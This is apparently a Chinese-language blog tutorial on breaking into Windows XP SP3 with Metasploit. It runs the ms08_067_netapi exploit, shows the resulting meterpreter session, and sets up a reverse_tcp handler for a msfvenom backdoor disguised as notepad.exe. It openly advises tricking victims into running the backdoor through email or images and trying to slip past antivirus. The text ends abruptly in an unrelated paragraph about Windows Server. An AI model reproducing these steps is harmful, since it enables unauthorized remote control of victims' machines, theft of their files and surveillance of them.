Kali的IP地址是192.168.0.112
Windows XP的IP地址是192.168.0.108
本文演示怎么使用Metasploit入侵windows xp sp3。
启动msfconsole：
选择一个漏洞：
msf > search platform: windows xp sp3
exploit/windows/smb/ms08_067_netapi是08年发现的漏洞，等级Great。
查看某个漏洞的详细信息；包含使用方法、支持的平台等等，非常有帮助：msf > info exploit/windows/smb/ms08_067_netapi
依次执行如下命令：
msf > use exploit/windows/smb/ms08_067_netapi
如果目标主机有这个漏洞的话，你就可以控制它了；如果没有，尝试使用其他漏洞。
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP SP3 - Service Pack 3 - lang:Chinese
[*] Selected Target: Windows XP SP3 Chinese (AlwaysOn NK)
[*] Attempting to trigger the vulnerability... [*] Sending stage (751104 bytes) to 192.168.0.108
[*] Meterpreter session 1 opened (192.168.0.1:41614 -> 192.168.0.108:4444) at 2016-04-15 17:29:32
meterpreter >
现在你就可以控制目标主机了，可以截屏、录音、视频、下载文件、杀进程等等；使用help查看可以执行的命令。
演示使用后门程序侵入Windows
原理：在Kali Linux上生成后门程序，然后把它发送给受害者，欺骗受害者运行（使用邮件、图片等等）。难点是需要过杀毒软件和防火墙。
生成后门程序：
我把后门程序隐藏到记事本程序中：notepad.exe
查看Kali Linux的IP：ifconfig（192.168.0.112）
创建后门程序，my_backdoor.exe：
上面命令使用加密试图躲过杀毒软件，但是，不要期望它可以生效。使用man msfvenom查看帮助。
把它发送到Windows系统，并运行；如果不能运行换用其他加密方式。
启动msfconsole：
use exploit/multi/handler
set LHOST 192.168.0.112
set LPORT 4445
set payload windows/meterpreter/reverse_tcp
show options
exploit
等待受害者启动后门程序。
OK，入侵成功。
Windows服务器系统包括一个全面、集成的基础结构，旨在满足开发人员和信息技术（IT）专业人员的要求。此系统设计用于运行特定的程序和解决方案，借助这些程序和解决方案，信息工作人员可以快速便捷地获取、分析和共享信息。入侵者对Windows服务器系统的攻击主要是针对IIS服务器和组网协议的攻击。
入侵Windows服务器的流程
